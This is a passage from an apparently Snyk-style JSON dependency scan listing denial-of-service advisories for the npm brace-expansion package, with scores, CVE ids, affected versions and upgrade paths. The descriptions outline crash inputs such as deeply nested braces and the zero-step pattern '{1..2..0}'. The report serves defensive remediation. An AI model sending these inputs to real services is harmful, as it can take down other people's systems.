"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
